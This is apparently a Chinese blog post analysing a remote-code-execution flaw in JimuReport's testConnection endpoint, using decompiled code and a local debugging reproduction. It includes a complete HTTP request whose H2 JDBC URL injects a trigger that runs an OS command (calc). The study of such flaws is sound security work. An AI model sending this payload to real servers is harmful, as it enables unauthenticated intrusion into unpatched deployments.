Jimureport h2命令执行分析记录

《数据分析-JiMuReport》积木报表详细入门教程 积木报表可以通过源码部署、SpringBoot集成、Docker部署以及各种成熟框架部署,具体可查看积木官方文档当前采用源码部署。JimuReport部署入门、JimuReport开发配置、报表设计、报表优化。 阅读详情

首先找testConnection接口,前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找,接口找到发现请求参数是json
在这里插入图片描述
var1是JmreportDynamicDataSourceVo类型,也就是如上图的dbSource,根据打印的结果可以知道这里是local cache key
ConcurrentHashMap属于并发程序,var4也就是连接相关的东西
那么这一块就是数据库连接的东西,主要说的是配置文件
因为jeecg-boot/jmreport/testConnection接口的参数是var1,是JmreportDynamicDataSourceVo类型,那么我们查看代码总结出来有这么几个参数id,code,dbType,dbDriver,dbUrl,dbName,dbUsername,dbPassword,connectTimes

那么继续往下走在这里插入图片描述
可以看到从var1(也就是JmreportDynamicDataSourceVo)中获得DbDriver,然后获得DbUrl,一起通过g方法传给了var39,来看看g方法在这里插入图片描述
这段代码的目的是用于处理包含数据库连接参数的字符串,如果字符串中包含 “mysql”,则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性,因为允许加载本地文件可能存在一些潜在的安全风险

var2 = DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());

回到上一层,继续往下走,var2是进行数据库连接(dburl,username,password),那么记下来就是if判断var是否为null

但是上面是我们反编译出的jar包和实际还是有差别,进行动态调试看看
现在对传入的 HTTP 请求执行预处理的拦截器地方下断点,因为必经过这里
在这里插入图片描述
然后往下跳,在接口处下断点在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到为false,所以进入下面1091行的else
在这里插入图片描述
可以看到连接时候直接执行命令,弹出计算器
在这里插入图片描述
然后回显报错,这里会想到为什么会跳入这个catch (Exception var35)呢
因为执行的命令用于连接会报异常,catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常,而Exception var35用于捕获所有的异常

payload

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363

{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}

在这里插入图片描述
目前是本地h2数据库没有配置好,并且idea没有配置h2的依赖
我们配置好如下
在这里插入图片描述
在idea中加入h2依赖

<!--h2-->
<dependency>
   <groupId>com.h2database</groupId>
   <artifactId>h2</artifactId>
   <version>1.4.197</version>
   <scope>runtime</scope>
</dependency>

根据我们之前写的h2文章,就是因为所在版本存在漏洞1.1.100 <= H2 Console <= 2.0.204
在这里插入图片描述
在这里插入图片描述
成功弹出计算器

若依ruoyi框架集成第三方报表工具(集成jmreport积木报表) 阅读详情

相关推荐

微服务版 ruoyi 整合jimureport 问题记录

maven 命令增加-e -X cd ${workspace}/${service} && mvn -gs ${workspace}/configuration/settings.xml -DskipTests=true clean package -Ptest jib:build -Djib.httpTimeout=200000 -DsendCredentialsOverHttp=true -f pom.xml -e -X" 查看日志,发现如下信息 [WARNING] The POM

山巅 3479

强!一款贼好用的低代码报表工具,开源免费!

JimuReport是北京国炬信息技术有限公司旗下的平台,是一款免费的数据可视化报表工具,主要用于报表和大屏设计。用户可以通过在线拖拽的方式,像搭建积木一样设计报表,功能涵盖: 报表设计、图形报表、打印设计、大屏设计等,完全免费!秉承“简单、易用、专业”的产品理念,极大的降低报表开发难度、缩短开发周期、解决各类报表难题。低代码开发:它采用了纯Web在线技术,可以快速集成到SpringBoot的脚手架项目中,只需引入依赖即可。

测试开发技术 3714

Jeecg-Boot积木报表queryFieldBySql接口RCE漏洞(CVE-2023-4450)深度剖析与实战利用

本文深度剖析了Jeecg-Boot积木报表queryFieldBySql接口的RCE漏洞(CVE-2023-4450),详细解析了Freemarker模板注入机制及攻击链,并提供了漏洞复现的实战演示和防御方案。该漏洞影响JimuReport 1.6.1之前的版本,攻击者可利用未授权访问和模板注入获取服务器控制权,具有极高的危险性。

weixin_30471561的博客 467

Java组件漏洞实战:H2数据库JDBC驱动远程命令执行分析与复现

在Java应用开发中,第三方组件依赖是常见的工程实践,但这也引入了供应链安全风险。JDBC(Java数据库连接)作为Java访问数据库的标准API,其驱动实现的安全性直接影响整个应用。H2数据库是一款轻量级的内存数据库,其JDBC驱动支持通过连接字符串的INIT参数执行初始化SQL,这一特性本为便捷设计,却可能因不当的用户输入过滤而演变为严重漏洞。攻击者通过构造恶意的JDBC连接字符串,可在数据库连接建立时执行任意SQL语句,进而利用H2支持调用Java静态方法的能力,实现远程命令执行(RCE),直接威胁服

weixin_30832405的博客 473

若依Vue集成积木报表的正确姿势:iframe解耦与权限穿透

积木报表是一种低代码可视化报表工具,其核心原理是基于Vue构建的独立SPA应用,而非标准UI组件库。由于技术栈差异(如Vue 2.x与Vue 3不兼容)、路由与状态管理冲突,直接npm引入会导致白屏、模块找不到等典型错误。其技术价值在于快速构建可嵌入式报表能力,适用于政府、金融等需统一门户的中后台系统。常见应用场景包括若依框架下的数据看板、业务单据打印与Excel导出。本文聚焦若依Vue版与积木报表的工程级集成,详解iframe嵌入、JWT Token透传、跨域联调及SSO落地,覆盖若依vue2/3、jim

weixin_34055787的博客 379

若依框架集成JimuReport积木报表

若依框架集成积木报表的过程及使用。因为我在实际项目中需要用到在线设计打印样式,于是,在百度上搜索一圈,找到了JimuReport积木报表的介绍,而且该项目是完全免费的可应用到企业项目中,这点...

乘风偷月的博客 2万+

JimuReport v2.5.5 发布,填报增强与 Word 导出专项修复

真正的 AI 报表来了,一句话描述需求,AI 自动生成报表与数据大屏,支持对话式修改报表;同时提供类 Excel 拖拽设计器,兼容 30 余种数据源,轻松应对各类复杂报表场景 ✨积木报表是一款免费的数据可视化报表工具,集报表、打印、大屏、仪表盘于一体,像搭积木一样完全在线设计。分两大模块:JimuReport 主攻传统复杂报表与打印,JimuBI 专注数据大屏与仪表盘可视化。AI 助手。

JEECG官方博客 270

JeecgBoot JimuReport testConnection RCE漏洞复现

JeecgBoot 的 jeecg-boot/jmreport/testConnection 未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。

0xSec 3622

从零到一:如何利用JimuReport的移动报表功能重塑企业移动办公体验

本文详细介绍了如何利用JimuReport v2.3.0的移动报表功能提升企业移动办公效率。通过智能布局引擎、手势操作优化和增量数据加载等技术创新,解决跨设备兼容性差、交互体验割裂等核心痛点。文章还提供了多端协同设计、行业应用案例及实施路径,帮助企业快速实现移动报表的部署与优化。

pz890123456的博客 180

JimuReport低代码报表平台Docker一键部署指南

低代码报表平台是现代BI系统的核心组件,其核心在于降低开发门槛、加速数据可视化交付。JimuReport作为主流开源积木式报表工具,通过容器化封装实现开箱即用的部署体验——本质是将Java应用、MySQL数据库、Nginx静态服务与前端资源打包为标准化Docker环境。该方案规避了JDK版本冲突、Maven构建依赖和Spring Boot环境适配等典型痛点,依托docker-compose.yml声明式编排实现服务依赖自动调度,并以zip为跨平台分发载体兼顾完整性校验与零依赖解压。适用于快速搭建演示环境、本

weixin_33912453的博客 529

JimuReport - 积木报表(一款免费Web报表工具)

一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖,数据报表、打印设计、图表报表、大屏设计等! Web 版报表设计器,类似于excel操作风格,通过拖拽完成报表设计。 秉承“简单、易用、专业”的产品理念,极大的降低报表开发难度、缩短开发周期、节省成本、解决各类报表难题。 领先的企业级Web报表软件,采用纯Web在线技术,专注于解决企业报表快速制作难题。 为什么选择 JimuReport? 永久免费,支持各种复杂报表,并且傻瓜式在线设计,非常的智能,低代码时代,这个是你的首选! 采用SpringBoot的脚手架项目,都可以快速集成 Web 版设计器,类似于excel操作风格,通过拖拽完成报表设计 通过SQL、API等方式,将数据源与模板绑定。同时支持表达式,自动计算合计等功能,使计算工作量大大降低 开发效率很高,傻瓜式在线报表设计,一分钟设计一个报表,又简单又强大 支持 ECharts,目前支持28种图表,在线拖拽设计,支持SQL和API两种数据源 支持分组、交叉,合计、表达式等复杂报表 支持打印设计(支持套打、背景打印等)可设置打印边距、方向、页眉页脚

积木报表—JimuReport v1.5.4版本发布,免费的可视化Web报表工具

一款免费的低代码可视化报表,像搭建积木一样在线拖拽设计!低代码开发必备,功能涵盖,数据报表、打印设计、图表报表、大屏设计等!

JEECG官方博客 5341

scGPT-spatial 复现

文章摘要:Spatial scGPT项目复现流程 本文详细介绍了复现Spatial scGPT项目的完整流程,包含数据预处理、模型训练等关键步骤。首先需要使用scanpy加载H5AD文件并进行归一化、对数变换等预处理。然后构建基因词汇表(vocab),提取基因表达值和空间坐标信息。接着使用DataCollator进行数据分箱、掩码和填充处理。最后搭建TransformerModel进行训练。文章特别指出了需要自行补全的缺失部分,包括基因词汇表构建、空间坐标提取、数据集类定义和训练主循环脚本等。作者还提供了详

victory0431的博客 1683

AI表格工具技术实测:从自然语言到结构化报表的6种实现方案

百度文库搭载的GenFlow 4.0采用多智能体协同架构,当用户输入一条自然语言指令后,系统先通过意图理解模块进行任务拆解,识别该指令涉及PPT、Excel、Word中的哪一种或几种输出,再并行调用对应的子智能体分别执行,最后合并交付结果。其核心特点是。

Claire_88的博客 504

SolidWorks+ADAMS双验证:你的机械臂力矩计算真的靠谱吗?

本文探讨了机械臂力矩计算中手工计算的局限性,并介绍了SolidWorks和ADAMS双验证方法的重要性。通过实际案例展示了动态工况下传统计算方法的误差,详细解析了SolidWorks精准质心捕捉和ADAMS动力学仿真的关键技术,帮助工程师构建计算-仿真-实测闭环验证流程,确保机械臂设计的可靠性和安全性。

grafana6viz的博客 228

STLink驱动故障全解析:从卡顿到重装的终极修复指南

本文全面解析STLink驱动故障的常见现象及解决方案,包括驱动卸载、重装、Keil环境配置等关键步骤。针对设备管理器黄色感叹号、Keil识别异常等问题,提供从软件到硬件的终极修复指南,帮助开发者高效解决STLink连接问题。

sss66的博客 734

5分钟上手CodeAlmanac:从零安装到生成第一个代码库Wiki的完整指南

CodeAlmanac 是一个面向 AI 编程代理的代码库 Wiki 工具:它把代码"说不出口"的知识——架构决策、业务流程、隐藏约束、踩坑记录——沉淀为仓库里的纯 Markdown 页面,并由 AI coding agents 自动维护。本文是一份完整的安装教程,带你从 0 开始,5 分钟完成 CodeAlmanac 的安装、初始化,并生成第一个可以搜索的代码库 Wiki。 ## 一、Code

gitblog_00701的博客 411

FFmpeg实战:SEI自定义数据在RTMP推流中的高效嵌入

本文深入探讨了如何利用FFmpeg在RTMP推流中高效嵌入SEI自定义数据。通过将SEI比作与视频帧同步的“小纸条”,文章详细解析了H.264码流中SEI的结构与位置,并提供了命令行与API编程两种实战方法,帮助开发者实现直播答题、AI元数据回传等场景下的帧级精准数据同步。

weixin_29304021的博客 325

AI代码助手与低代码报表工具融合:打造智能数据可视化开发新范式

数据可视化是现代数据驱动决策的核心环节,它通过图表、图形等直观形式将复杂数据转化为易于理解的洞察。其技术原理通常涉及数据提取、转换、加载(ETL)以及前端渲染引擎的协同工作。在工程实践中,开发高效、美观的可视化应用常面临配置繁琐、代码重复的挑战。低代码平台通过提供可视化编排和预置组件,显著提升了搭建效率,而AI代码生成技术则能基于自然语言描述自动产出数据处理逻辑与配置代码,两者结合为可视化开发带来了范式变革。具体到应用场景,这种融合模式特别适用于需要快速构建业务监控大屏、运营数据看板以及标准化报表系统的团队

weixin_30530939的博客 346

随机化策略——随机变量rand、约束constraint、权重dist、随机数产生示例

文章目录一、随机变量类型1.1.rand随机变量1.2.randc随机变量二、随机化约束2.1.constraint指定约束范围2.1.1.关系操作符约束(>、<、=、>=、<=)2.1.2.范围操作符约束(inside)2.1.3.权重分布约束(dist)2.1.4.条件约束(if-else; ->)三、启动随机化——randomize( )函数四、关闭或打开随机变...

Mr.翟的博客 2万+

单细胞RNA测序数据分析与可视化:从基础原理到高级应用

单细胞RNA测序(scRNA-seq)技术通过解析单个细胞的基因表达谱,显著提升了我们对细胞异质性的理解。本文详细介绍了scRNA-seq数据分析的完整流程,包括数据预处理、质量控制、降维、聚类、差异表达分析、细胞类型注释、细胞周期分析、轨迹分析、RNA速率分析、基因集富集分析、细胞通讯分析、批次效应校正以及空间转录组学整合。文章还展示了scrna_toolkit包在简化分析流程和增强数据可视化方面的应用。通过这一工具,研究者可以更高效地处理单细胞数据,揭示复杂的生物学信息。未来,该工具将进一步整合多组学分

2301_80338712的博客 4131

科学研究新突破:Intern-S1-Pro在AI4Science领域的顶尖表现揭秘 [特殊字符]

在人工智能与科学研究的交叉领域,一个革命性的突破正在悄然发生。今天,我们要为大家介绍Intern-S1-Pro——这个万亿参数规模的MoE多模态科学推理模型,它正在AI4Science领域创造着令人瞩目的成就!✨ ## 🌟 什么是Intern-S1-Pro? **Intern-S1-Pro**是一个专门为科学研究设计的先进人工智能模型,拥有**1万亿总参数**的惊人规模。这个模型采用了创新的

gitblog_01069的博客 1078

SAP_MM模块非限制库存转冻结库存

项目非限制 → 冻结事务码移动类型343影响库存不可用,不参与MRP常见用途质量问题封存、盘点冻结、待退货品通过本文,我们了解了 SAP 的[SAP_MM模块非限制库存转冻结库存]的基本概念和应用方法。希望这些信息能帮助您在实际工作中更好地使用 SAP 系统,提高工作效率和管理水平。更多SAP文章请点击更多SAP文章更新,大家一起学习进步!!!文章中如有错误。敬请指正!搜索公众号:SAP资料文库微信号:SPRO_PP时间:2025-10-14。

我小时候很黑的博客 586

开源雷达周刊2026-W35:开源动态、项目精选与工程避坑

开源生态的活力源于持续迭代与社区协作,从开源鸿蒙PC版正式开放下载到开源大模型从“参数竞赛”转向“质变”,技术演进不断降低开发者的准入门槛。理解镜像站加速原理与开源许可证合规选择,是高效参与开源的基础工程能力。本周GitHub与Gitee涌现出遥感影像可视化、桌面语音机器人、内容归档等众多新项目,而工程化部署中的常见坑与排查经验同样值得借鉴。一份周更的开源雷达,为开发者提供收藏级项目清单与可落地的部署经验,助力技术选型与快速上手。

weixin_33824363的博客 379

掌握RDMA核心:从同步构建到异步事件的连接艺术

本文深入解析RDMA编程中的双模式设计,揭示同步配置与异步事件机制的协作关系。第一部分阐述同步函数rdma_bind_addr和rdma_listen的本地化角色,强调它们仅完成本地端点配置。第二部分剖析异步事件模型,重点分析连接请求和建立事件的处理流程。通过完整生命周期序列图展示两种模式的交互过程,并提供错误处理、资源管理和性能调优的实用建议。文章指出,理解同步本地配置与异步网络响应这一责任划分,是掌握RDMA编程的关键所在。

数字人生 283

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

OpenSearch 3.0.0-alpha1 Release Notes 深度解析:Lucene 10、JDK 21 与核心架构演进

本文以 OpenSearch 3.0.0-alpha1(发布于 2025-03-17)官方 Release Notes 为主体,逐项拆解这一大版本首个里程碑的技术变更:从强制要求 JDK 21、升级 Lucene 10.1.0,到 HTTP/2 服务端支持、JPMS 模块化改造、线程上下文权限收紧等一系列 Breaking Changes 与新特性。结合当前仓库源码,你不仅能了解每个变更的表层影响

gitblog_00730的博客 487

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

上一篇: shiro权限校验demo
下一篇: shiro注入filter内存马(绕过长度限制)
qieziwa(boy)
博客等级 码龄7年 5711粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值